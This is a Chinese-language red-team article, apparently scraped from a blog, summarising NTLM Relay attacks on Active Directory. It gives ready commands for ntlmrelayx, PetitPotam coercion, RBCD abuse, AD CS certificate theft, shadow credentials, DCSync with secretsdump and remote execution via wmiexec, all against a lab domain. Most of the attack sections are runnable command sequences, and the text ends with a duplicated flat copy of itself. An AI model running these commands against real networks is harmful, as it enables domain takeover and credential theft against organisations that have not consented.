红队域渗透NTLM Relay:中继后攻击思路总结
字数 1367 2025-08-06 18:07:47

红队域渗透NTLM Relay攻击思路总结

0x00 攻击思路概述

NTLM Relay攻击可以从域内目标资源对象展开,主要分为以下几种攻击方式:

  1. 针对ADCS的攻击
  2. 针对域内主机资源的RBCD攻击
  3. 针对当前计算机的攻击
  4. 针对影子账户的攻击

0x01 添加机器账户 (--add-computer)

攻击条件

  • 强制认证的目标需要有高权限,可以创建用户
  • 目标的ms-DS-MachineAccountQuota属性不为0
  • 目标具有SeMachineAccountPrivilege特权

攻击流程

  1. 启动监听器:
python3 ntlmrelayx.py -t ldaps://dc01.hack.lab --add-computer JustTest$ --remove-mic

参数说明:

  • --add-computer JustTest$:新增的机器账户名
  • --remove-mic:绕过MIC验证
  1. 触发认证(使用PetitPotam):
python3 PetitPotam.py -d hack.lab -u spiderman -p 123.com 20.20.20.100 20.20.20.6

效果验证

AdFind.exe -h 20.20.20.5 -u spiderman -up 123.com -b "DC=hack,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID

0x02 修改目标服务器RBCD属性 (--delegate-access, --escalate-user)

攻击原理

强制NTLM验证后对目标服务器RBCD属性进行修改,指向一个新的机器账户(或已存在的),之后利用该机器账户进行后渗透(如DCSync)。

攻击条件

  • 域控支持LDAPS协议
  • 能创建机器账户或已有可控的机器账户

攻击流程

  1. 创建机器账户:
python3 bloodyAD.py -d hack.lab -u spiderman -p '123.com' --host 20.20.20.5 addComputer CPT001 '123.com'
  1. 开启监听:
python3 ntlmrelayx.py -t ldap://DC01.hack.lab -smb2support --remove-mic --delegate-access --escalate-user CPT001$
  1. 触发认证:
python3 PetitPotam.py -d hack.lab -u spiderman -p 123.com 20.20.20.100 20.20.20.10

验证及使用

  1. 查看RBCD属性:
Get-ADComputer USER01 -Properties PrincipalsAllowedToDelegateToAccount
  1. 申请服务票据:
python3 getST.py -spn cifs/USER01.hack.lab -impersonate administrator hack.lab/CPT001\$:123.com -dc-ip 20.20.20.5

0x03 转储AD CS注册服务和证书模板信息 (--dump-adcs)

攻击原理

通过LDAP获得域的ADCS配置(注册服务和证书模板,以及它们的访问权限),以便能够在没有域账户的情况下知道ADCS中继的目标服务器和模板。

攻击流程

  1. 找到网络注册服务的地址:
curl xx.xx.xx.xx/certsrv/ -I
  1. 设置监听器:
python3 ntlmrelayx.py -debug -t ldap://20.20.20.5 --dump-adcs --remove-mic
  1. 强制NTLM认证:
python3 PetitPotam.py -u spiderman -p 123.com -d hack.lab 20.20.20.100 20.20.20.6

0x04 获取AD CS证书

攻击原理

在域内配置了AD CS的情况下,可以通过NTLM Relay攻击获取到的证书进行申请TGT操作。

前置条件

  • AD CS被配置为允许NTLM认证
  • NTLM认证没有受到EPA或SMB签名的保护
  • AD CS正在运行这些服务中的任何一个:
    • 证书颁发机构web注册
    • 证书注册web服务

攻击流程(支持PKINIT协议)

  1. 设置监听器:
python3 ntlmrelayx.py -debug -smb2support --target http://20.20.20.6/certsrv/certfnsh.asp --adcs --template DomainController
  1. 强制认证:
python3 PetitPotam.py -u spiderman -p 123.com -d hack.lab 20.20.20.100 20.20.20.5
  1. 证书处理:
cat DC01_base64.txt | base64 -d > dc01.pfx
python3 gettgtpkinit.py -cert-pfx dc01.pfx hack.lab/DC01$ dc01.ccache
  1. 后渗透攻击:
# 获取域控Hash
KRB5CCNAME=dc01.ccache python3 getnthash.py -key b12ef2da16bdd741749a2ec30e67f0507ba38d7bb72f1c11034bc7160be98e50 hack.lab/DC01$

# 执行DCSync攻击
KRB5CCNAME=dc01.ccache python3 secretsdump.py -k hack.lab/DC01\$@DC01.hack.lab -no-pass -just-dc-user administrator

攻击流程(不支持PKINIT协议)

  1. 使用Certipy工具获取pfx文件中的密钥和证书信息:
certipy cert -pfx NoPKI02.pfx -nokey -out NoPKI02.crt
certipy cert -pfx NoPKI02.pfx -nocert -out NoPKI02.key
  1. 使用passthecert.py创建机器账户:
python3 passthecert.py -action add_computer -crt NoPKI02.crt -key NoPKI02.key -domain hack.lab -dc-ip 20.20.20.5 -computer-name NoPKI02$ -computer-pass 123.com
  1. 添加RBCD属性:
python3 passthecert.py -action write_rbcd -crt NoPKI02.crt -key NoPKI02.key -domain hack.lab -dc-ip 20.20.20.5 -delegate-from NoPKI02$ -delegate-to DC01$
  1. 后渗透:
python3 getST.py -spn cifs/DC01.hack.lab -impersonate administrator hack.lab/NoPKI02\$:123.com -dc-ip 20.20.20.5
KRB5CCNAME=administrator.ccache python3 wmiexec.py -k hack.lab/administrator@DC01.hack.lab -no-pass -dc-ip 20.20.20.5

0x05 修改Shadow Credentials属性(影子账户) (--shadow-credentials)

攻击原理

在支持PKINIT协议的域内环境,若目标机器账户存在msDS-KeyCredentialLink属性(公钥信息),在预认证中,可以使用对应的证书(私钥信息)进行验证身份。

攻击条件

  • 目标服务器支持PKINIT协议
  • 域控制器版本在Windows Server 2016以上
  • 域内安装了AD CS服务

攻击流程

  1. 开启监听器:
python3 ntlmrelayx.py -t ldap://DC01.hack.lab --remove-mic --shadow-credentials --shadow-target F2016$
  1. 执行强制认证:
python3 PetitPotam.py -u spiderman -p 123.com -d hack.lab 20.20.20.100 20.20.20.6

0x06 利用Exchange创建机器账户 (CVE-2021-34470)

攻击原理

利用Exchange安装中一个有漏洞的LDAP模式对象,执行添加机器账户操作,绕过创建机器账户的限制。

攻击方式

相关攻击方式已经集成至ntlmrelay中的--add-computer参数中。

红队域渗透NTLM Relay攻击思路总结 0x00 攻击思路概述 NTLM Relay攻击可以从域内目标资源对象展开,主要分为以下几种攻击方式: 针对ADCS的攻击 针对域内主机资源的RBCD攻击 针对当前计算机的攻击 针对影子账户的攻击 0x01 添加机器账户 (--add-computer) 攻击条件 强制认证的目标需要有高权限,可以创建用户 目标的ms-DS-MachineAccountQuota属性不为0 目标具有SeMachineAccountPrivilege特权 攻击流程 启动监听器: 参数说明: --add-computer JustTest$ :新增的机器账户名 --remove-mic :绕过MIC验证 触发认证(使用PetitPotam): 效果验证 0x02 修改目标服务器RBCD属性 (--delegate-access, --escalate-user) 攻击原理 强制NTLM验证后对目标服务器RBCD属性进行修改,指向一个新的机器账户(或已存在的),之后利用该机器账户进行后渗透(如DCSync)。 攻击条件 域控支持LDAPS协议 能创建机器账户或已有可控的机器账户 攻击流程 创建机器账户: 开启监听: 触发认证: 验证及使用 查看RBCD属性: 申请服务票据: 0x03 转储AD CS注册服务和证书模板信息 (--dump-adcs) 攻击原理 通过LDAP获得域的ADCS配置(注册服务和证书模板,以及它们的访问权限),以便能够在没有域账户的情况下知道ADCS中继的目标服务器和模板。 攻击流程 找到网络注册服务的地址: 设置监听器: 强制NTLM认证: 0x04 获取AD CS证书 攻击原理 在域内配置了AD CS的情况下,可以通过NTLM Relay攻击获取到的证书进行申请TGT操作。 前置条件 AD CS被配置为允许NTLM认证 NTLM认证没有受到EPA或SMB签名的保护 AD CS正在运行这些服务中的任何一个: 证书颁发机构web注册 证书注册web服务 攻击流程(支持PKINIT协议) 设置监听器: 强制认证: 证书处理: 后渗透攻击: 攻击流程(不支持PKINIT协议) 使用Certipy工具获取pfx文件中的密钥和证书信息: 使用passthecert.py创建机器账户: 添加RBCD属性: 后渗透: 0x05 修改Shadow Credentials属性(影子账户) (--shadow-credentials) 攻击原理 在支持PKINIT协议的域内环境,若目标机器账户存在msDS-KeyCredentialLink属性(公钥信息),在预认证中,可以使用对应的证书(私钥信息)进行验证身份。 攻击条件 目标服务器支持PKINIT协议 域控制器版本在Windows Server 2016以上 域内安装了AD CS服务 攻击流程 开启监听器: 执行强制认证: 0x06 利用Exchange创建机器账户 (CVE-2021-34470) 攻击原理 利用Exchange安装中一个有漏洞的LDAP模式对象,执行添加机器账户操作,绕过创建机器账户的限制。 攻击方式 相关攻击方式已经集成至ntlmrelay中的 --add-computer 参数中。